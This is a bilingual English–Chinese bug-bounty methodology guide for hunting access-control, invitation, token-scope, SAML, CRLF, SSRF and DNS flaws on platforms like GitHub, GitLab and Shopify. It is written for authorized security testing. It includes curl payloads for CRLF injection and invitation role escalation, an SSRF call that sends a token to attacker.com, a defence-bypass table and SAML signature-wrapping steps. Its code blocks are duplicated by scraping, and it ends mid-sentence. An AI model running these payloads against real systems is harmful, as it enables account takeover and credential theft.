hunt-misc

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Crown Jewel Targets

高价值目标

Why this vuln class pays: MISC vulnerabilities span access control failures, information disclosure, session/auth logic bugs, and misconfiguration — the categories that consistently produce the highest payouts because they map directly to business impact: data exposure, account takeover, privilege escalation, and infrastructure compromise.
Highest-value targets:
  • SaaS platforms with role hierarchies (Shopify, GitHub, GitLab) — any boundary between owner/admin/staff/guest is a privilege escalation surface
  • Identity/auth flows — invitation links, password reset, SAML SSO, OAuth token scopes
  • Multi-tenant systems — one tenant touching another tenant's data
  • Internal APIs — LFS endpoints, pre-receive hooks, internal GraphQL/REST that assume caller is trusted
  • Domain/DNS management features — transfer controls, subdomain delegation
  • Token/credential management — PAT scopes, deploy keys, API tokens stored in config fields
Asset types that pay most:
  • Core product APIs (not marketing subdomains)
  • Enterprise/self-hosted editions (GitHub Enterprise, GitLab EE)
  • Partner/collaborator invitation systems
  • OAuth app integrations and webhook endpoints

为何这类漏洞价值高: MISC 漏洞涵盖访问控制失效、信息泄露、session/auth 逻辑缺陷和配置错误——这些类别始终能带来最高奖金,因为它们会直接映射到业务影响:数据暴露、账户接管、权限提升和基础设施失陷。
最高价值目标:
  • 具有角色层级的 SaaS 平台(Shopify、GitHub、GitLab)——owner/admin/staff/guest 之间的任何边界都是权限提升攻击面
  • 身份/认证流程——邀请链接、密码重置、SAML SSO、OAuth token scopes
  • 多租户系统——一个租户触达另一个租户的数据
  • 内部 API——LFS endpoints、pre-receive hooks、假定调用方可信的 internal GraphQL/REST
  • 域名/DNS 管理功能——转移控制、子域名委派
  • Token/凭证管理——PAT scopes、deploy keys、存储在配置字段中的 API tokens
回报最高的资产类型:
  • 核心产品 API(而非营销子域名)
  • Enterprise/self-hosted 版本(GitHub Enterprise、GitLab EE)
  • Partner/collaborator 邀请系统
  • OAuth app integrations 和 webhook endpoints

Attack Surface Signals

攻击面信号

URL patterns to watch:
/admin/*/transfer
/invitations/*
/partners/*/accept
/api/v*/repos/*/lfs/*
/-/settings/integrations/sentry
/api/v*/user/installations
/hooks/pre-receive/*
/reset-password?token=
/auth/saml/callback
/api/v*/packages/pypi/*
Response header signals:
X-Request-Id (pitchfork/Rack — check for header injection)
X-Shopify-Shop-Api-Call-Limit
X-GitLab-*
JS patterns revealing internal surfaces:
javascript
// Look for hardcoded internal API paths
fetch('/internal/api/
graphql { installations(
"scope": [], // empty scopes on tokens
"permissions": {"contents": "read"} // minimal scope PATs
Tech stack signals:
  • Ruby/Rack middleware (CRLF injection risk in
    pitchfork
    )
  • SAML SSO enabled on enterprise instances
  • PyPI proxy/mirror configurations (dependency confusion)
  • Sentry error tracking integration fields (SSRF/token leak vector)
  • Multi-role invitation systems (partners, staff, collaborators)

需要关注的 URL 模式:
/admin/*/transfer
/invitations/*
/partners/*/accept
/api/v*/repos/*/lfs/*
/-/settings/integrations/sentry
/api/v*/user/installations
/hooks/pre-receive/*
/reset-password?token=
/auth/saml/callback
/api/v*/packages/pypi/*
响应头信号:
X-Request-Id (pitchfork/Rack — check for header injection)
X-Shopify-Shop-Api-Call-Limit
X-GitLab-*
暴露内部攻击面的 JS 模式:
javascript
// Look for hardcoded internal API paths
fetch('/internal/api/
graphql { installations(
"scope": [], // empty scopes on tokens
"permissions": {"contents": "read"} // minimal scope PATs
技术栈信号:
  • Ruby/Rack middleware(
    pitchfork
    中存在 CRLF injection 风险)
  • Enterprise 实例启用了 SAML SSO
  • PyPI proxy/mirror 配置(dependency confusion)
  • Sentry error tracking integration 字段(SSRF/token leak 攻击向量)
  • 多角色邀请系统(partners、staff、collaborators)

Step-by-Step Hunting Methodology

分步狩猎方法

  1. Map all role/permission boundaries — enumerate every role level (owner → admin → staff → guest → removed) and document what each role should see
    Marker Discipline: when probing role boundaries by injecting unique tokens / identifiers into per-role test data, markers MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers:
    test
    ,
    marker
    ,
    attacker
    ,
    evil
    ,
    admin
    ,
    AAAA
    . Good markers:
    cpmark987abc
    ,
    x4hd2k9pq
    . Before claiming any reflection, search the baseline (no-marker) response for the marker — if it appears naturally, change your marker.
    Body-Diff Rule: a privilege-bypass claim requires response BODY differential, not status-code-only. 200 OK with byte-identical body to baseline is NOT a bypass. Always diff bodies side-by-side before claiming bypass. Status-code-only claims are the most common rejected-as-N/A category on bug-bounty platforms.
  2. Test invitation flows end-to-end — accept invitations without completing verification steps; modify invitation tokens; test whether accepting an invitation as a different user grants access
  3. Test post-removal access — add a user to a resource, remove them, then test if their session/token still grants access (especially after company/org removal)
  4. Fuzz token scope enforcement — create PATs/tokens with minimal or no scopes, then call API endpoints that should require elevated scopes
  5. Test cross-tenant resource access — as Tenant A, attempt to read/write Tenant B's resources by manipulating IDs, paths, or headers
  6. Probe internal/undocumented API endpoints — look for LFS endpoints, internal GraphQL operations, pre-receive hook environments, webhook delivery logs
  7. Check SAML/SSO logic — test signature verification bypass by stripping signatures, modifying NameID, replaying assertions, or manipulating XML namespace
  8. Audit configuration fields for SSRF/token exfiltration — any URL field in admin settings (Sentry DSN, webhook URL, proxy URL) is a potential SSRF or credential leak
  9. Test password reset and email verification flows — skip email verification steps; test whether reset tokens are scoped to a single user; test token reuse
  10. Check HTTP header injection points — any user-controlled input passed into response headers via Ruby/Rack middleware; test CRLF sequences
  11. Verify DNS/subdomain hygiene — enumerate subdomains, check for dangling CNAME records, verify SPF/DMARC/DKIM records
  12. Test package registry proxy configurations — look for dependency confusion via forwarded requests to public registries (PyPI, npm, RubyGems)

  1. 梳理所有角色/权限边界——枚举每个角色层级(owner → admin → staff → guest → removed),并记录每个角色应当看到的内容
    **Marker 规范:**在探测角色边界时,如果通过向各角色的测试数据注入唯一 token/identifier,markers 必须是唯一的随机字母数字字符串(至少 8 个字符,不含英文单词和协议关键字)。糟糕的 markers:
    test
    、
    marker
    、
    attacker
    、
    evil
    、
    admin
    、
    AAAA
    。良好的 markers:
    cpmark987abc
    、
    x4hd2k9pq
    。在声称存在任何 reflection 之前,先在 baseline(无 marker)响应中搜索该 marker——如果它自然出现,则更换 marker。
    **Body-Diff 规则:**声称存在权限绕过时,必须出现 response BODY 差异,而不能只依据状态码。如果返回
    200 OK
    ,但 body 与 baseline 逐字节一致,则不是绕过。在声称存在绕过之前,始终并排 diff 两个 body。仅依据状态码提出的漏洞,是漏洞赏金平台上最常见的 rejected-as-N/A 类别。
  2. 端到端测试邀请流程——在未完成验证步骤时接受邀请;修改 invitation token;测试以不同用户接受 invitation 是否会授予访问权限
  3. 测试移除后的访问权限——将用户添加到某项资源,再将其移除,然后测试其 session/token 是否仍可授予访问权限,尤其是在从 company/org 中移除之后
  4. 模糊测试 token scope enforcement——创建仅具备最小 scope 或完全没有 scope 的 PAT/token,然后调用本应要求更高 scope 的 API endpoint
  5. 测试跨租户资源访问——作为 Tenant A,尝试通过操纵 ID、路径或 headers 读取/写入 Tenant B 的资源
  6. 探测 internal/undocumented API endpoints——寻找 LFS endpoints、internal GraphQL operations、pre-receive hook environments、webhook delivery logs
  7. 检查 SAML/SSO 逻辑——通过移除签名、修改 NameID、重放 assertions 或操纵 XML namespace,测试签名验证绕过
  8. 审计配置字段中的 SSRF/token exfiltration——admin settings 中的任何 URL 字段(Sentry DSN、webhook URL、proxy URL)都可能是 SSRF 或凭证泄露入口
  9. 测试 password reset 和 email verification 流程——跳过 email verification 步骤;测试 reset token 是否仅限用于单个用户;测试 token reuse
  10. 检查 HTTP header injection points——查找任何通过 Ruby/Rack middleware 传入 response headers 的用户可控输入;测试 CRLF sequences
  11. 验证 DNS/subdomain hygiene——枚举 subdomains,检查 dangling CNAME records,并验证 SPF/DMARC/DKIM records
  12. 测试 package registry proxy 配置——寻找通过转发至公共 registries(PyPI、npm、RubyGems)导致的 dependency confusion

Payload & Detection Patterns

Payload 与检测模式

CRLF/Header Injection (Ruby Net::HTTP, Rack/pitchfork):
bash
undefined
CRLF/Header Injection(Ruby Net::HTTP、Rack/pitchfork):
bash
undefined

Test CRLF in header values

Test CRLF in header values

curl -v "https://target.com/path"
-H $'X-Custom: value\r\nInjected-Header: evil'
curl -v "https://target.com/path"
-H $'X-Custom: value\r\nInjected-Header: evil'

URL-encoded variant

URL-encoded variant

Test in pitchfork/Rack apps — inject via query param reflected in Location header

Test in pitchfork/Rack apps — inject via query param reflected in Location header


**Privilege escalation via invitation bypass:**
```bash

**通过 invitation bypass 实现权限提升:**
```bash

Accept invitation without email verification

Accept invitation without email verification

curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept"
-H "Cookie: session=UNVERIFIED_SESSION"
-d '{"role":"admin"}'
curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept"
-H "Cookie: session=UNVERIFIED_SESSION"
-d '{"role":"admin"}'

Test invitation token for another user

Test invitation token for another user

curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN"
-H "Cookie: session=VICTIM_SESSION"

**Token scope bypass (GitHub/GitLab PAT):**
```bash
curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN"
-H "Cookie: session=VICTIM_SESSION"

**Token scope bypass(GitHub/GitLab PAT):**
```bash

Call privileged endpoint with minimal-scope token

Call privileged endpoint with minimal-scope token

curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN"
"https://api.github.com/repos/org/private-repo/issues"
curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN"
"https://api.github.com/repos/org/private-repo/issues"

Test suspended installation access

Test suspended installation access

curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN"
"https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"

**SSRF via config URL fields (Sentry integration):**
```bash
curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN"
"https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"

**通过 config URL fields 触发 SSRF(Sentry integration):**
```bash

Change Sentry URL to internal listener

Change Sentry URL to internal listener

curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry"
-H "PRIVATE-TOKEN: MAINTAINER_TOKEN"
-d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'

**ReDoS detection:**
```bash
curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry"
-H "PRIVATE-TOKEN: MAINTAINER_TOKEN"
-d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'

**ReDoS 检测:**
```bash

Test Ruby URI parser

Test Ruby URI parser

ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'
ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'

Test IPAddr

Test IPAddr

ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'
ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'

Timing-based detection

Timing-based detection

time curl "https://target.com/search?q=aaaa" # baseline time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"

**Grep patterns for source recon:**
```bash
time curl "https://target.com/search?q=aaaa" # baseline time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"

**用于 source recon 的 Grep 模式:**
```bash

Find SAML signature verification

Find SAML signature verification

grep -r "validate_signature|verify_signature|skip.signature" --include=".rb"
grep -r "validate_signature|verify_signature|skip.signature" --include=".rb"

Find hardcoded or weak scope checks

Find hardcoded or weak scope checks

grep -r "without_scope|any_scope|scope.bypass" --include=".rb"
grep -r "without_scope|any_scope|scope.bypass" --include=".rb"

Find invitation acceptance without verification

Find invitation acceptance without verification

grep -r "accept.*invitation|invitation.accept" --include=".rb" | grep -v "verified|confirmed"
grep -r "accept.*invitation|invitation.accept" --include=".rb" | grep -v "verified|confirmed"

Find internal API routes

Find internal API routes

grep -r "internal_api|/_internal/|/internal/" --include=".rb" --include=".js"

**Dangling subdomain / DNS check:**
```bash
grep -r "internal_api|/_internal/|/internal/" --include=".rb" --include=".js"

**悬空子域名/DNS 检查:**
```bash

Check for obsolete DNS records

Check for obsolete DNS records

dig CNAME handbook.gitlab.com curl -sI https://handbook.gitlab.com | head -5
dig CNAME handbook.gitlab.com curl -sI https://handbook.gitlab.com | head -5

Look for NXDOMAIN or 404 on hosting provider = takeover candidate

Look for NXDOMAIN or 404 on hosting provider = takeover candidate

SPF check

SPF check

dig TXT rubylang.org | grep spf
dig TXT rubylang.org | grep spf

Missing or ~all = email spoofing risk

Missing or ~all = email spoofing risk


---

---

Common Root Causes

常见根因

  1. Soft deletes without permission invalidation — removing a user from an org marks them as removed but doesn't revoke active sessions or cached permission checks; subsequent API calls still pass old auth context
  2. Invitation acceptance without verification gate — developers implement invitation flow optimistically (assume user who received email is legitimate) and skip re-verification when token is consumed by a different session
  3. Token scope checked at issuance, not at use — PAT/OAuth scopes validated when token is created but individual API endpoint handlers don't re-check scope, trusting middleware that may have a gap
  4. Role-based access control checked at UI layer only — frontend hides buttons for restricted roles but backend API endpoints don't enforce the same restriction; direct API calls bypass UI gating
  5. SAML XML parsing quirks — signature covers only part of the document; XML canonicalization differences allow unsigned content to pass verification; namespace prefix attacks
  6. Config/URL fields trusted as internal — integration URL fields (Sentry, webhooks) assumed to be set only by trusted admins; maintainer-level roles can modify them to exfiltrate tokens
  7. Ruby header injection via string interpolation — developer builds HTTP response headers by string concatenation without sanitizing newlines; Rack 3 behavioral changes exposed previously-hidden bugs
  8. Proxy/mirror configs forwarding all requests upstream — package registries configured to fall back to public registries without restricting which packages are internal-only, enabling dependency confusion
  9. Pre-receive hook environments exposing privileged context — hook scripts run with access to internal environment variables, git internals, or SSH keys that shouldn't be user-accessible
  10. Multi-device session design conflated with session fixation — engineers implement "remember me across devices" by issuing non-expiring tokens, treating it as a feature while creating persistent access risk
  11. Server-policy responses mistaken for state-based oracles — when many different path types return the SAME response shape, suspect a server-side blocklist/policy filter, NOT a real file-existence / user-existence / resource-existence oracle. Engineers add blanket filters (e.g., "block any path ending in
    .config
    /
    .ashx
    /
    .asmx
    /
    .svc
    ") that return the same error regardless of whether the underlying file exists. Don't infer "file exists" from "blocked"; verify with an independent signal (Collaborator callback, response-time differential at scale, or out-of-band confirmation). Lesson: SharePoint's
    download.aspx?SourceUrl=
    returned
    "blocked from this Web site by the server administrators"
    for
    .ashx
    /
    .asmx
    /
    .svc
    /
    .config
    extensions regardless of whether the underlying file existed — looked like a file-existence oracle, was actually the extension blocklist. Treating it as the former produced a list of "discovered custom customer-branded endpoints" that didn't actually exist.

  1. 软删除但未使权限失效——从组织中移除 user 只会将其标记为 removed,却不会撤销 active sessions 或缓存的权限检查;后续 API 调用仍会沿用旧的 auth context
  2. 接受邀请时缺少验证关卡——开发者以乐观方式实现 invitation flow(假定收到邮件的用户就是合法用户),并在 token 被不同 session 消费时跳过重新验证
  3. Token scope 仅在签发时检查,而非使用时——PAT/OAuth scopes 在创建 token 时进行验证,但各 API endpoint handler 未再次检查 scope,而是信任可能存在缺口 middleware
  4. RBAC 仅在 UI 层检查——frontend 对受限角色隐藏按钮,但 backend API endpoint 未执行相同限制;直接调用 API 即可绕过 UI gating
  5. SAML XML 解析特性——签名只覆盖文档的一部分;XML canonicalization 差异允许未签名内容通过验证;namespace prefix 攻击
  6. Config/URL 字段被错误地视为内部可信——integration URL 字段(Sentry、webhooks)被假定只能由可信管理员设置;maintainer-level 角色却能修改这些字段以窃取 tokens
  7. 通过字符串插值进行 Ruby header injection——开发者用字符串拼接构建 HTTP response headers,却未清理换行符;Rack 3 的行为变化暴露了此前隐藏的 bug
  8. Proxy/mirror 配置将所有请求转发至上游——package registries 被配置为在未限制哪些 packages 仅限内部使用的情况下回退到公共 registry,从而引发 dependency confusion
  9. Pre-receive hook 环境暴露特权上下文——hook scripts 能够访问本不应向用户开放的 internal environment variables、git internals 或 SSH keys
  10. 将 multi-device session 设计与 session fixation 混为一谈——工程师通过签发永不过期的 token 来实现“跨设备记住我”,将其视为一项功能,却造成了持续访问风险
  11. 将服务器策略响应误认为基于状态的 oracle——当许多不同 path types 返回相同的 response shape 时,应怀疑存在 server-side blocklist/policy filter,而不是真正的 file-existence/user-existence/resource-existence oracle。工程师会添加 blanket filters(例如“阻止所有以
    .config
    /
    .ashx
    /
    .asmx
    /
    .svc
    结尾的路径”),无论底层文件是否存在都返回相同错误。不要从“blocked”推断“file exists”;应使用独立信号进行验证(Collaborator callback、大规模 response-time differential 或 out-of-band confirmation)。经验教训:SharePoint 的
    download.aspx?SourceUrl=
    对
    .ashx
    /
    .asmx
    /
    .svc
    /
    .config
    extensions 始终返回
    "blocked from this Web site by the server administrators"
    ,无论底层文件是否存在。它看起来像 file-existence oracle,实际上却是 extension blocklist。将其误判为前者,会产生一份所谓“已发现的自定义 customer-branded endpoints”清单,尽管这些 endpoints 实际上并不存在。

Bypass Techniques

绕过技术

Defender mitigations and how to bypass them:
DefenseBypass
Email verification on invitationAccept token in a different session before verification step completes; test if token is single-use or multi-use
Role check on API endpointFind alternative API versions (
/v3/
vs
/v4/
), GraphQL aliases, or internal endpoints that skip middleware
SAML signature validationStrip signature element entirely; use XML namespace confusion; inject additional unsigned
Assertion
elements
PAT scope enforcementFind endpoints that check scope at the collection level but not on individual sub-resources; test legacy API versions
Token revocation on user removalRevoke at the org level but not at the app/installation level; test cross-installation token reuse
Input sanitization on header valuesTry
%0d%0a
,
\r\n
,
\u000d\u000a
, null bytes followed by CRLF; test middleware version-specific parsing
Restricting internal API to localhostFind SSRF vector (Sentry URL, webhook URL) to make server call the internal endpoint on your behalf
ReDoS regex hardeningTry different anchor points — if
#
is patched, try
?
,
%
, or other RFC-special characters that trigger backtracking
Dependency pinningChange package names slightly (typosquatting) or target internal package names that aren't published to public registry
Subdomain claim validationMonitor for hosting provider account deletions; use certificate transparency logs to find unclaimed subdomains

防御缓解措施及其绕过方式:
防御措施绕过方式
邀请流程中的 email verification在 verification step 完成前,使用不同 session 接受 token;测试 token 是 single-use 还是 multi-use
API endpoint 上的 role check寻找替代 API versions(
/v3/
与
/v4/
)、GraphQL aliases,或可跳过 middleware 的 internal endpoints
SAML signature validation完全移除 signature element;使用 XML namespace confusion;注入额外的 unsigned
Assertion
elements
PAT scope enforcement寻找只在 collection level 检查 scope、却未在 individual sub-resources 上检查的 endpoints;测试 legacy API versions
用户移除时的 token revocation在 org level 撤销 token,却不在 app/installation level 撤销;测试 cross-installation token reuse
Header values 上的 input sanitization尝试
%0d%0a
、
\r\n
、
\u000d\u000a
、null bytes 后接 CRLF;测试特定 middleware 版本的解析行为
将 internal API 限制为 localhost寻找 SSRF vector(Sentry URL、webhook URL),让服务器代你调用 internal endpoint
ReDoS regex hardening尝试不同 anchor points——如果
#
已被修补,则尝试
?
、
%
或其他可能触发 backtracking 的 RFC-special characters
Dependency pinning略微更改 package names(typosquatting),或瞄准未发布到 public registry 的 internal package names
Subdomain claim validation监控 hosting provider account deletions;使用 certificate transparency logs 查找无人认领的 subdomains

Gate 0 Validation

Gate 0 验证

Before writing the report, answer these three questions:
  1. What can the attacker DO right now? Must be a concrete action: read customer PII, escalate to admin role, take over an account, transfer a domain asset, exfiltrate an API token, inject a response header. "Could potentially..." is not sufficient.
  2. What does the victim LOSE? Must map to a real asset: customer data, account control, financial assets (domains), credentials, code repository contents, or platform trust. "Security best practices not followed" is not a valid answer.
  3. Can it be reproduced in 10 minutes from scratch? Write out the exact steps (no special tooling, no race conditions that require luck). If you need pre-existing conditions (e.g., must already be a maintainer), state them explicitly and verify they're realistic for an attacker to achieve.

在撰写报告前,回答以下三个问题:
  1. 攻击者现在能做什么? 必须给出具体行动:读取 customer PII、提权至 admin role、接管账户、转移 domain asset、外传 API token、注入 response header。“可能造成……”并不充分。
  2. 受害者会损失什么? 必须映射到真实资产:customer data、account control、financial assets(domains)、credentials、code repository contents 或 platform trust。“未遵循 security best practices”不是有效答案。
  3. 能否从零开始,在 10 分钟内复现? 写出确切步骤(无需特殊工具,也不依赖需要运气的 race conditions)。如果需要已有条件(例如必须已经是 maintainer),请明确说明,并验证攻击者是否现实地能够达到这些条件。

Real Impact Examples

真实影响示例

Scenario A — Privilege Escalation via Unverified Partner Invitation (Shopify-class) An attacker receives a partner invitation link for a low-privilege role. Before completing email verification, they use the invitation token in a session authenticated as a different account (or no account). The platform grants the elevated partner role without confirming identity, allowing the attacker to access merchant data, install apps, or modify store configurations for all stores in the partner account. Business impact: full partner-level access to hundreds of merchant stores with no legitimate relationship established.
Scenario B — Cross-Tenant Data Persistence After Removal (Shopify/GitLab-class) A staff member with restricted permissions is removed from a company account after a dispute. Their session token remains valid because revocation only updates the membership table, not the session store. The ex-employee continues to access customer PII, order data, and financial reports via direct API calls for days or weeks post-termination. Business impact: GDPR/CCPA breach exposure, potential extortion leverage, competitive intelligence theft.
Scenario C — SAML Signature Bypass for Account Takeover (GitHub Enterprise-class) An attacker targeting a GitHub Enterprise instance with SAML SSO enabled crafts a SAML response where the
Signature
element is stripped or moved to cover only a non-critical assertion attribute. The XML parser accepts the document as valid; the signature verifier passes because the signed sub-element validates correctly; the NameID (username/email) in the unsigned portion is set to a victim admin account. Attacker authenticates as the victim with no knowledge of their password or MFA. Business impact: full admin access to all private repositories, CI/CD secrets, and GitHub Actions workflows in the enterprise.

场景 A——通过未验证的 Partner Invitation 实现权限提升(Shopify 类) 攻击者收到指向低权限角色的 partner invitation link。在完成 email verification 之前,他们在以不同账户(或无账户)认证的 session 中使用 invitation token。平台在未确认身份的情况下授予 elevated partner role,使攻击者能够访问 merchant data、install apps,或修改 partner account 下所有 stores 的 configurations。Business impact:在未建立任何合法关系的情况下,获得 partner-level 权限并访问数百家 merchant stores。
场景 B——移除后仍可跨租户访问数据(Shopify/GitLab 类) 一名权限受限的 staff member 在发生纠纷后被从 company account 中移除。由于 revocation 只更新 membership table,而未更新 session store,其 session token 仍然有效。这名 ex-employee 继续通过 direct API calls 访问 customer PII、order data 和 financial reports,持续数天或数周。Business impact:暴露于 GDPR/CCPA breach,可能被用于勒索,并造成 competitive intelligence theft。
场景 C——通过 SAML Signature Bypass 接管账户(GitHub Enterprise 类) 攻击者 targeting 一个启用了 SAML SSO 的 GitHub Enterprise instance,并构造 SAML response,将
Signature
element 移除,或移动该 element,使其仅覆盖一个 non-critical assertion attribute。XML parser 会接受该文档为有效;signature verifier 会通过验证,因为 signed sub-element 正确完成了验证;unsigned portion 中的 NameID(username/email)则被设置为 victim admin account。攻击者无需获知密码或 MFA 即可以受害者身份完成认证。Business impact:完全接管 enterprise,取得所有 private repositories、CI/CD secrets 和 GitHub Actions workflows 的管理员访问权限。

Chains & Compositions (Senior Hunting)

链式组合与编排(高级狩猎)

A checklist tells you what to look for one bug at a time. Senior work composes primitives into multi-step engagements that reach impact. Each chain below is built from existing primitives in this skill's methodology and root causes — paired with a secondary primitive from a neighbouring skill. The pattern across them all: the secondary primitive is what produces impact. A standalone soft-delete IDOR is N/A; pair it with a session-store that doesn't invalidate, and it's High.
清单只能告诉你一次排查一个 bug 时该看什么。高级工作会将 primitives 组合成多步 engagements,从而形成实际影响。下面的每条链都基于本 skill 方法论和根因中的现有 primitives——并与邻近 skill 的 secondary primitive 配对。所有链的共同模式是:secondary primitive 才是产生实际影响的部分。单独出现的 soft-delete IDOR 是 N/A;将其与不会使 session store 失效的机制配对后,就会成为 High。

Chain 1 — Soft-Delete + Post-Removal Session Persistence → Cross-Tenant PII

链 1——软删除 + 移除后会话持续有效 → 跨租户 PII

  • A. Identify a "remove member" endpoint that flips an
    active=false
    flag or deletes a membership row but does NOT invalidate the user's session or revoke their issued tokens (root cause #1: soft deletes without permission invalidation).
  • B. Log in as the to-be-removed staff member; capture the session cookie / PAT.
  • C. Have the org admin remove the user via the normal flow. Wait. Re-issue the same API calls (
    GET /admin/orders
    ,
    GET /admin/payouts
    ,
    GET /admin/customers
    ) using the captured token.
  • Impact: API calls keep succeeding for days or weeks post-removal — cached permission checks pass the old auth context. GDPR/CCPA breach exposure; potential extortion leverage; competitive intelligence theft.
  • Real shape: Shopify removed-staff session persistence class (2022); GitLab cached-permissions-after-removal class. Pairs with
    hunt-ato
    Path 5 (session-fixation).
  • A. 找出“移除成员”endpoint:它会将
    active=false
    标志翻转或删除 membership row,却不会使用户 session 失效,也不会撤销已签发的 tokens(根因 #1:软删除但未使权限失效)。
  • B. 以即将被移除的 staff member 身份登录;捕获 session cookie/PAT。
  • C. 让 org admin 通过正常流程移除该用户。等待一段时间。使用捕获的 token 重新发起相同的 API calls(
    GET /admin/orders
    、
    GET /admin/payouts
    、
    GET /admin/customers
    )。
  • **Impact:**移除后数天或数周内,API calls 仍会成功——缓存的权限检查继续使用旧的 auth context。暴露于 GDPR/CCPA breach,可能被用于勒索,并造成 competitive intelligence theft。
  • **实际形态:**Shopify removed-staff session persistence 类(2022);GitLab cached-permissions-after-removal 类。与
    hunt-ato
    第 5 步(session-fixation)配对。

Chain 2 — Invitation Token Reuse + Skipped Verification → Privileged Role Injection

链 2——Invitation Token Reuse + 跳过验证 → 特权角色注入

  • A. Receive an invitation link for a low-privilege role at the target.
  • B. Before completing email verification, POST the invitation token from a different session (incognito browser / anonymous request).
  • C. Server grants the invited role without re-verifying that the consuming session matches the invited email — new identity inherits the invitation's scope.
  • Impact: Privilege-escalated foothold without owning the invited email address. For partner-portal invitations (where a partner-tier role manages hundreds of downstream merchants), this is the Shopify Partners-class Critical.
  • Real shape: Multiple H1 Shopify Partners disclosures 2020-2022 (root cause #2). Pairs with
    hunt-auth-bypass
    step 7 (invitation flow verification).
  • A. 获取目标上一个低权限角色的 invitation link。
  • B. 在完成 email verification 之前,从不同 session(incognito browser/anonymous request)POST invitation token。
  • C. Server 授予 invited role,却没有重新验证消费 token 的 session 是否与 invited email 匹配——新身份继承 invitation 的 scope。
  • **Impact:**无需控制 invited email address,即可获得 privilege-escalated foothold。对于 partner-portal invitations(partner-tier role 管理数百个 downstream merchants),这属于 Shopify Partners 类的 Critical 漏洞。
  • **实际形态:**2020–2022 年披露的多个 H1 Shopify Partners 漏洞(根因 #2)。与
    hunt-auth-bypass
    第 7 步(invitation flow verification)配对。

Chain 3 — CRLF in Ruby Header + Cache Poisoning → Mass Stored XSS at CDN Scale

链 3——Ruby Header 中的 CRLF + Cache Poisoning → CDN 规模的大规模 Stored XSS

  • A. Identify CRLF injection in a Ruby
    Net::HTTP
    / Rack response header — user-controlled value flows into
    Location:
    or a custom
    X-*
    header (root cause #7: Ruby header injection via string interpolation).
  • B. Inject
    %0d%0aSet-Cookie: session=attacker
    or a duplicate
    Cache-Control: public, max-age=3600
    that pollutes the cache-key normalisation across CDN tiers.
  • C. Cache stores the poisoned response for the full max-age. Every CDN-edge visitor in the affected geo receives the attacker's
    Set-Cookie
    or attacker-controlled body.
  • Impact: Cross-customer XSS / session fixation at full CDN scale; persistent until cache TTL expires; affects every visitor to that path.
  • Real shape: GitLab CRLF + cache poisoning chain (H1 #1160407 / Iustin Ladunca, 2021); Rack 3 behavioural-change ecosystem advisories (2022-2023). Pairs with
    hunt-cache-poison
    citation #7 and #10 (Akamai hop-by-hop class).
  • A. 找出 Ruby
    Net::HTTP
    /Rack response header 中的 CRLF injection——用户可控值流入
    Location:
    或自定义
    X-*
    header(根因 #7:通过字符串插值进行 Ruby header injection)。
  • B. 注入
    %0d%0aSet-Cookie: session=attacker
    ,或重复的
    Cache-Control: public, max-age=3600
    ,以污染多个 CDN tiers 的 cache-key normalisation。
  • C. Cache 会在完整的 max-age 期间存储被污染的响应。affected geo 中每个访问对应 path 的 CDN-edge visitor 都会收到攻击者的
    Set-Cookie
    或 attacker-controlled body。
  • **Impact:**达到完整 CDN 规模的 cross-customer XSS/session fixation;持续至 cache TTL 到期;影响访问该 path 的所有用户。
  • **实际形态:**GitLab CRLF + cache poisoning chain(H1 #1160407 / Iustin Ladunca,2021);Rack 3 behavioural-change ecosystem advisories(2022–2023)。与
    hunt-cache-poison
    引用 #7 和 #10(Akamai hop-by-hop 类)配对。

Chain 4 — SAML XSW + Parser Differential → Admin Claim Injection → SSO ATO

链 4——SAML XSW + Parser Differential → Admin Claim Injection → SSO ATO

  • A. Capture a valid SAMLResponse via the legitimate auth flow (Burp filter for
    SAMLResponse=
    POST bodies on
    /saml/acs
    or
    /Shibboleth.sso
    ).
  • B. Inject a sibling
    <Assertion>
    element so the signature-checker XML parser (REXML/Xerces) resolves a different node than the business-logic XML parser (Nokogiri/JAXP). Sign the outer benign assertion; embed
    <NameID>admin@victim</NameID>
    in the unsigned inner assertion.
  • C. SP signature validates against the outer element; SP business logic reads the inner one; admin role assumed without password or MFA.
  • Impact: Full enterprise SSO compromise. Every SAML-gated app inherits the spoofed admin identity for the session lifetime.
  • Real shape: GitHub Enterprise CVE-2025-25291 / CVE-2025-25292 (parser differential, 2025); samlify CVE-2025-47949. Cross-refs
    hunt-auth-bypass
    Disclosed Report Citation #5 and #7, and root cause #5 (SAML XML parsing quirks).
  • A. 通过合法 auth flow 捕获有效的 SAMLResponse(使用 Burp filter 过滤
    /saml/acs
    或
    /Shibboleth.sso
    上 POST body 中的
    SAMLResponse=
    )。
  • B. 注入同级的
    <Assertion>
    element,使 signature-checker XML parser(REXML/Xerces)与 business-logic XML parser(Nokogiri/JAXP)解析到不同节点。对外层 benign assertion 签名;在 unsigned inner assertion 中嵌入
    <NameID>admin@victim</NameID>
    。
  • C. SP signature 针对 outer element 验证通过;SP business logic 读取 inner element;随即假定 admin role,无需密码或 MFA。
  • **Impact:**完全攻破 Enterprise SSO。所有受 SAML-gating 的 app 都会在 session lifetime 内继承被伪造的 admin identity。
  • **实际形态:**GitHub Enterprise CVE-2025-25291 / CVE-2025-25292(parser differential,2025);samlify CVE-2025-47949。交叉引用
    hunt-auth-bypass
